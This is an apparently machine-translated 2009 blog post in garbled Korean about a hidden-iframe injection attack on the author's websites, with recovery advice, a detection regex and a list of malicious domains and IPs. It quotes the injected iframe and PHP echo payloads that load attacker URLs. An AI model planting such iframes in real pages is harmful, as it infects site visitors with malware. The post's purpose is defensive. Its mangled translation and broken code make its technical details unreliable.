[업데이트 2009 년 10 월 27]의 스크립트 버전의 새로운 기능
그것은 유감입니다 보안에 대한 모든 게시물, 일부가 내 웹사이트의 공격을 받고 나서 오늘.
Shoban 과 아난드가 . 일인지 이메일로 나를 대해 오늘 아침 (고마워요, 너희들은 이해하려고) 시도 내가 있었는데 나의 완전한 불신하기 위해 10 개 이상의 웹사이트는 동일한 서버에서 호스팅가 공격의 영향이 있었다.
모든 색인 .* 페이지 파일에 iframe을 숨겨진로드 서버에 코드 조각으로 감염되었습니다.
HTML 페이지 다음 코드 조각에 추가되었습니다 :
<제품에서는 iframe의 src = "http://goooogleadsence.biz/?click=8F9DA"너비 = 1 높이 = 1 스타일 = "시정 : 숨겨진; 위치 : 절대적인"> </ iframe이>
페이지를 PHP로 그것은 추가 :
메아리 "<iframe의 src=\"http://goooogleadsence.biz/?click=8F9DA\" width=1 height=1 style=\"visibility:hidden;position:absolute\"> </ iframe이>" "나;
아샤는 노력을 데려와 파일 감염이 대부분을 청소합니다. 우리는 지금의 상태를 모니터링하고 있습니다.
어떻게 벌레가 내 파일에 숨겨진 iframe을 주입 했지?
거기에 어떤 통해 웜이 파일을 감염시킬 것으로 두 가지 방법이 있습니다 :
1) 서버 손실이 크다
이것은 가장 일반적인 방법입니다. 일부는 O를 웹 사이트를 동일한 웹 서버에 거주하는 귀하의 웹사이트가 위험해질 수 있으므로 (o를 당신의 웹 응용 프로그램 자체에서 일부 취약점이있을 수 있습니다) 손상되기 위해 웹 서버를 일으켰습니다. 일단 서버가 손상되면, 웜은 서버에있는 모든 웹사이트에 전파됩니다.
2) 고객 측면 FTP를
벌레가있는 몇 가지 / 언제 당신의 서버를 호스팅 / 제어 패널 계정에 액세스하기위한 FTP를 사용하는 클라이언트 사이드의 PC.
/ 제어판 계정의 사용자 이름과 비밀 번호를 ftp를 위해 입력하면, 웜은 자동, 접속 FTP 계정의 자격 증명을 읽습와 서버에있는 파일을 감염. 그것은 파일의 모든 색인 .* 코드를 위에서 언급한 추가합니다.
어떻게 숨겨진 iframe 사출 공격으로부터 복구할 수 있습니까?
여기에 당신을 도울 수 몇 가지 도움말입니다 :
- 우선 이러한 종류의 공격을 막기 위해 할 가능한 한 빨리 귀하의 FTP를, 제어 패널 및 데이터베이스 암호를 변경할 수 있습니다.
- 알림 공격과 조언에 대한 귀하의 웹 호스트들을 가능한 서버에 대해 광범위한 공격을 조치를 취할 수 있습니다.
- 최대 안전 모드로 서버에 파일 사용 권한을 변경합니다.
- 서버 및 감염에 대한 검사에서 모든 파일을 다운로드합니다. 청소 감염된 파일.
- , 스캔 그리고 당신은 당신의 서버를 호스팅에 로그인에 사용하는 모든 PC를 청소 좋은 바이러스 백신 소프트웨어를 사용합니다.
- 절대 귀하의 서버에 액세스하는 공용 컴퓨터를 사용합니다.
어떻게하면 감염된 파일을 청소합니까?
모든 페이지에 악성 코드를 containig을 검색하여 우주로 대체 다음 정규식을 사용 :
<iframe의 src=\"http://[^"]*" width=1 height=1 style=\"visibility:hidden;position:absolute\"> </ iframe이 제품>
"<iframe의 src=\\\"http://[^"]*\"에게 width=1 height=1 style=\\\"visibility:hidden;position:absolute\\\"> </ iframe이의>를 \ 에코 \ ";
당신은 서버에있는 모든 파일에 대해이을 자동화하는 스크립트를 작성 할 수 있습니다.
전 감염된 파일을 찾아 밖으로 가지고 도울 수있는 요리 스크립트를 PHP를. 다운로드는 여기에서 파일 )을 clean.php.txt으로 clean.php (현재 그렇지 저장하고 웹사이트의 루트 폴더로 업로드를.
당신은 파일 내부에 일부 하드코드된 값을 변경할 수 있습니다.
그런 다음 URL을 방문하십시오 :
http://www.yourdomain.com/clean.php?c=iframe
매개 변수 c는 검색을 위해 텍스트를 지정하는 파일 안의. 결과는 같은 것입니다 :
그것은 귀하의 웹사이트에있는 모든 파일을 검색하고 파일의 경우 주어진 문자열을 포함, 그것은 문자열의 사건 번호와 함께 파일 이름을 출력합니다. 위 스크린샷에서는, 당신은 하나의 파일이 감염되었는지 확인할 수 있습니다.
그 스크립트 파일에서 iframe을 제거하지 않습니다. 자동 청소 일부를 귀하의 웹사이트의 휴식 수 있습니다. 그럼 지금부터 당신이 수동으로 파일을 청소해야합니다.
Faiz하고, 찾는 감염된 파일을 ASP.Net의 기대치를 작성한 스크립트를 위해 그것을 수 있습니다 여기에 발견 .
윌 내 검색 엔진 순위 공격이에 의해 영향을?
다음 단계에 있기 때문에 경우에 방문자가 귀하의 컴퓨터 ") 그는 / 블로그 귀하의 웹사이트에 액세스하려고하면, (들) 그가 다시 반환되지 않을 수 있습니다 때 (들 팝업 해칠 수있는 메시지가"이 사이트에서 볼 수있는 빠른가 봅니다. 귀하의 웹사이트의 보안 손실이 크다면, 그것은 웹사이트의 검색 엔진 순위에 영향을 미칠 수있다 기억하십시오. 게다가, 그것은보다 정교한 공격에 대한 방법을 포장 수도 있습니다.
Google은 경고와 함께 검색 결과를 귀하의 사이트가 표시됩니다 : "이 사이트는 사용자의 컴퓨터"를 해칠 수 있습니다.
) 다음 링크를 어떻게 Google이 귀하의 웹사이트 (약 귀하의 사이트에 대신 shopfloorbd.co.uk의 URL을 줄 생각하고보고 사용 :
http://www.google.com/safebrowsing/diagnostic?site=http://shopfloorbd.co.uk
위에서 언급한 바와 같이, 당신은 로컬 컴퓨터에서. AVG 일부 바이러스 백신 소프트웨어를 사용하여 악성 프로그램을 제거해야합니다 트로이 목마 다운 로더 "로"와 32은 JS / Kryptik.B의 트로이 목마 "으로보고"그것을 기울이고 있습니다.
로드 감염된 방문 때 참고 사이트, 일부 바이러스 백신 소프트웨어 얻을 프롬프트 당신을 "트로이 목마 다운 로더는"노력하고 파일 - exe 인. 일단 exe 인 당신의 컴퓨터를 감염시키고, 그것도 서버를 감염됩니다.
여기에 좀 더 많은 코드 예제에서는 야생에서 잡힌 위치 :
<iframe의 src="http://hostverify.net/?click=2730375" width=1 height=1 style="visibility:hidden;position:absolute"> </ iframe이 제품>
<iframe의 src="http://hosttracker.net/?click=32431937" width=1 height=1 style="visibility:hidden;position:absolute">
너무 공격 코드의 버전을 읽을 수 있습니다 :
<script>은 c102916999516l4956a7e7c979e (l4956a7e7c9b86) (함수 ... 등
몇 가지 다른 웹사이트를 호스팅하는 악의적인 콘텐츠의 목록입니다 :
gumblar.cn
martuz.cn
beladen.net
38zu.cn
googleanalytlcs.net
lousecn.cn
fqwerz.cn
d99q.cn
orgsite.info
94.247.2.0
94.247.2.195
http://mmsreader.com
http://google-ana1yticz.com
http://my2.mobilesect.info
http://thedeadpit.com
http://internetcountercheck.com
http://165.194.30.123
http://ruoo.info
gogo2me.net /
http://live-counter.net
http://klinoneshoes.info
보호 - livescan.com /
http://webexperience13.com
http://q5x.ru
http://q5x.ru
gumblar.cn
martuz.cn
beladen.net
38zu.cn
googleanalytlcs.net
lousecn.cn
fqwerz.cn
d99q.cn
orgsite.info
94.247.2.0
94.247.2.195
http://mmsreader.com
http://google-ana1yticz.com
http://my2.mobilesect.info
http://thedeadpit.com
http://internetcountercheck.com
http://165.194.30.123
http://ruoo.info
gogo2me.net /
http://live-counter.net
http://klinoneshoes.info
보호 - livescan.com /
http://webexperience13.com
http://q5x.ru
당신은, 당신이 감염되었는지 샷 기호는 귀하의 웹사이트에있는 모든 코드에서 해당 URL을 찾아내는 경우에.
